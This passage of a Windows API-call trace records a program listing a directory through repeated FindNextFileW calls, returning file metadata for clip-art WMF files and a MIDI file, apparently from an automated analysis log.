ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1ae0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MUSIC_01.MID", cAlternateFileName="")) returned 1 [0266.885] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9070c700, ftCreationTime.dwHighDateTime=0x1bd4b32, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9070c700, ftLastWriteTime.dwHighDateTime=0x1bd4b32, nFileSizeHigh=0x0, nFileSizeLow=0x5044, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00042_.WMF", cAlternateFileName="")) returned 1 [0266.885] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b49b100, ftCreationTime.dwHighDateTime=0x1bd4af3, ftLastAccessTime.dwLowDateTime=0x594ac510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2b49b100, ftLastWriteTime.dwHighDateTime=0x1bd4af3, nFileSizeHigh=0x0, nFileSizeLow=0x2a42, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00057_.WMF", cAlternateFileName="")) returned 1 [0266.886] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21c04900, ftCreationTime.dwHighDateTime=0x1bd4af3, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c04900, ftLastWriteTime.dwHighDateTime=0x1bd4af3, nFileSizeHigh=0x0, nFileSizeLow=0xeaa, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00058_.WMF", cAlternateFileName="")) returned 1 [0266.886] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfdad700, ftCreationTime.dwHighDateTime=0x1bd4ae1, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdfdad700, ftLastWriteTime.dwHighDateTime=0x1bd4ae1, nFileSizeHigh=0x0, nFileSizeLow=0x1324, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00068_.WMF", cAlternateFileName="")) returned 1 [0266.886] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99589d00, ftCreationTime.dwHighDateTime=0x1bd4b20, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99589d00, ftLastWriteTime.dwHighDateTime=0x1bd4b20, nFileSizeHigh=0x0, nFileSizeLow=0x1384, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00238_.WMF", cAlternateFileName="")) returned 1 [0266.886] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc013d500, ftCreationTime.dwHighDateTime=0x1bd4b1a, ftLastAccessTime.dwLowDateTime=0x594ac510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc013d500, ftLastWriteTime.dwHighDateTime=0x1bd4b1a, nFileSizeHigh=0x0, nFileSizeLow=0x864, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00330_.WMF", cAlternateFileName="")) returned 1 [0266.886] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x580ec000, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x580ec000, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0x1172, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00388_.WMF", cAlternateFileName="")) returned 1 [0266.887] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c25e800, ftCreationTime.dwHighDateTime=0x1bd4aeb, ftLastAccessTime.dwLowDateTime=0x594ac510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5c25e800, ftLastWriteTime.dwHighDateTime=0x1bd4aeb, nFileSizeHigh=0x0, nFileSizeLow=0x20ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00389_.WMF", cAlternateFileName="")) returned 1 [0266.887] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5af4bb00, ftCreationTime.dwHighDateTime=0x1bd4aeb, ftLastAccessTime.dwLowDateTime=0x594ac510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5af4bb00, ftLastWriteTime.dwHighDateTime=0x1bd4aeb, nFileSizeHigh=0x0, nFileSizeLow=0x21c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00390_.WMF", cAlternateFileName="")) returned 1 [0266.887] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde161100, ftCreationTime.dwHighDateTime=0x1bd4aeb, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xde161100, ftLastWriteTime.dwHighDateTime=0x1bd4aeb, nFileSizeHigh=0x0, nFileSizeLow=0x21ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00391_.WMF", cAlternateFileName="")) returned 1 [0266.887] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24e62400, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x24e62400, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x2ad4, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00394_.WMF", cAlternateFileName="")) returned 1 [0266.887] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c22fe00, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4c22fe00, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0x194a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00395_.WMF", cAlternateFileName="")) returned 1 [0266.888] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4af1d100, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4af1d100, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0x38c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00396_.WMF", cAlternateFileName="")) returned 1 [0266.888] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x239b0400, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x239b0400, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0x173e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00417_.WMF", cAlternateFileName="")) returned 1 [0266.888] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x313b9400, ftCreationTime.dwHighDateTime=0x1bd4aeb, ftLastAccessTime.dwLowDateTime=0x594ac510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x313b9400, ftLastWriteTime.dwHighDateTime=0x1bd4aeb, nFileSizeHigh=0x0, nFileSizeLow=0x4696, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00433_.WMF", cAlternateFileName="")) returned 1 [0266.888] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdea9aa00, ftCreationTime.dwHighDateTime=0x1bd4ae1, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdea9aa00, ftLastWriteTime.dwHighDateTime=0x1bd4ae1, nFileSizeHigh=0x0, nFileSizeLow=0x2f38, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00438_.WMF", cAlternateFileName="")) returned 1 [0266.888] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f311400, ftCreationTime.dwHighDateTime=0x1bd4b32, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1f311400, ftLastWriteTime.dwHighDateTime=0x1bd4b32, nFileSizeHigh=0x0, nFileSizeLow=0x14bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00452_.WMF", cAlternateFileName="")) returned 1 [0266.889] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cceba00, ftCreationTime.dwHighDateTime=0x1bd4b32, ftLastAccessTime.dwLowDateTime=0x594ac510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1cceba00, ftLastWriteTime.dwHighDateTime=0x1bd4b32, nFileSizeHigh=0x0, nFileSizeLow=0x1580, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00454_.WMF", cAlternateFileName="")) returned 1 [0266.889] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf78d7c00, ftCreationTime.dwHighDateTime=0x1bd4b30, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf78d7c00, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0x27a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00458_.WMF", cAlternateFileName="")) returned 1 [0266.889] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe80e3300, ftCreationTime.dwHighDateTime=0x1bd4b30, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe80e3300, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0x4f6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00462_.WMF", cAlternateFileName="")) returned 1 [0266.889] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x735300, ftCreationTime.dwHighDateTime=0x1bd4b1b, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x735300, ftLastWriteTime.dwHighDateTime=0x1bd4b1b, nFileSizeHigh=0x0, nFileSizeLow=0xc10, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00487_.WMF", cAlternateFileName="")) returned 1 [0266.890] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x955a5a00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x955a5a00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x938, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00494_.WMF", cAlternateFileName="")) returned 1 [0266.890] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bf33f00, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2bf33f00, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0xb60, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00512_.WMF", cAlternateFileName="")) returned 1 [0266.890] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc9b2c00, ftCreationTime.dwHighDateTime=0x1bd4b20, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcc9b2c00, ftLastWriteTime.dwHighDateTime=0x1bd4b20, nFileSizeHigh=0x0, nFileSizeLow=0x6efa, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00523_.WMF", cAlternateFileName="")) returned 1 [0266.890] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6a54b00, ftCreationTime.dwHighDateTime=0x1bd4b20, ftLastAccessTime.dwLowDateTime=0x594ac510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6a54b00, ftLastWriteTime.dwHighDateTime=0x1bd4b20, nFileSizeHigh=0x0, nFileSizeLow=0x5880, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00525_.WMF", cAlternateFileName="")) returned 1 [0266.890] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35fc4a00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x35fc4a00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x477c, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00530_.WMF", cAlternateFileName="")) returned 1 [0266.900] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x530, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00532_.WMF", cAlternateFileName="")) returned 1 [0266.900] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34cb1d00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x34cb1d00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x7d14, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00538_.WMF", cAlternateFileName="")) returned 1 [0266.900] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23970600, ftCreationTime.dwHighDateTime=0x1bd4b0d, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x23970600, ftLastWriteTime.dwHighDateTime=0x1bd4b0d, nFileSizeHigh=0x0, nFileSizeLow=0x64c, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00641_.WMF", cAlternateFileName="")) returned 1 [0266.901] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7658, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00784_.WMF", cAlternateFileName="")) returned 1 [0266.901] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43213500, ftCreationTime.dwHighDateTime=0x1bd4af3, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x43213500, ftLastWriteTime.dwHighDateTime=0x1bd4af3, nFileSizeHigh=0x0, nFileSizeLow=0x23f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00798_.WMF", cAlternateFileName="")) returned 1 [0266.901] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecc0f000, ftCreationTime.dwHighDateTime=0x1bd4b0c, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xecc0f000, ftLastWriteTime.dwHighDateTime=0x1bd4b0c, nFileSizeHigh=0x0, nFileSizeLow=0x788, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00806_.WMF", cAlternateFileName="")) returned 1 [0266.901] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb8fc300, ftCreationTime.dwHighDateTime=0x1bd4b0c, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb8fc300, ftLastWriteTime.dwHighDateTime=0x1bd4b0c, nFileSizeHigh=0x0, nFileSizeLow=0xba4, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00807_.WMF", cAlternateFileName="")) returned 1 [0266.902] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7bce0800, ftCreationTime.dwHighDateTime=0x1bd4b0d, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7bce0800, ftLastWriteTime.dwHighDateTime=0x1bd4b0d, nFileSizeHigh=0x0, nFileSizeLow=0x514, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00808_.WMF", cAlternateFileName="")) returned 1 [0266.902] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe92d6900, ftCreationTime.dwHighDateTime=0x1bd4b0c, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe92d6900, ftLastWriteTime.dwHighDateTime=0x1bd4b0c, nFileSizeHigh=0x0, nFileSizeLow=0x608, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00809_.WMF", cAlternateFileName="")) returned 1 [0266.902] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd58, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00810_.WMF", cAlternateFileName="")) returned 1 [0266.902] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3210, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00932_.WMF", cAlternateFileName="")) returned 1 [0266.902] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8abf600, ftCreationTime.dwHighDateTime=0x1bd4b31, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb8abf600, ftLastWriteTime.dwHighDateTime=0x1bd4b31, nFileSizeHigh=0x0, nFileSizeLow=0x7c46, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01064_.WMF", cAlternateFileName="")) returned 1 [0266.903] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x117a8f00, ftCreationTime.dwHighDateTime=0x1bd4b30, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x117a8f00, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0x54a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01066_.WMF", cAlternateFileName="")) returned 1 [0266.903] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0d55d00, ftCreationTime.dwHighDateTime=0x1bd4b03, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb0d55d00, ftLastWriteTime.dwHighDateTime=0x1bd4b03, nFileSizeHigh=0x0, nFileSizeLow=0x1a7e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01069_.WMF", cAlternateFileName="")) returned 1 [0266.903] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe19e000, ftCreationTime.dwHighDateTime=0x1bd4afd, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe19e000, ftLastWriteTime.dwHighDateTime=0x1bd4afd, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01123_.WMF", cAlternateFileName="")) returned 1 [0266.903] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe23d3100, ftCreationTime.dwHighDateTime=0x1bd4ae1, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe23d3100, ftLastWriteTime.dwHighDateTime=0x1bd4ae1, nFileSizeHigh=0x0, nFileSizeLow=0xb70, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01126_.WMF", cAlternateFileName="")) returned 1 [0266.903] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94292d00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x94292d00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x16a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01130_.WMF", cAlternateFileName="")) returned 1 [0266.904] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22e1e00, ftCreationTime.dwHighDateTime=0x1bd4afd, ftLastAccessTime.dwLowDateTime=0x6a370b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22e1e00, ftLastWriteTime.dwHighDateTime=0x1bd4afd, nFileSizeHigh=0x0, nFileSizeLow=0x16d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01141_.WMF", cAlternateFileName="")) returned 1 [0266.904] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc383d00, ftCreationTime.dwHighDateTime=0x1bd4afc, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc383d00, ftLastWriteTime.dwHighDateTime=0x1bd4afc, nFileSizeHigh=0x0, nFileSizeLow=0x1f38, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01148_.WMF", cAlternateFileName="")) returned 1 [0266.904] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1248, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01149_.WMF", cAlternateFileName="")) returned 1 [0266.904] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: 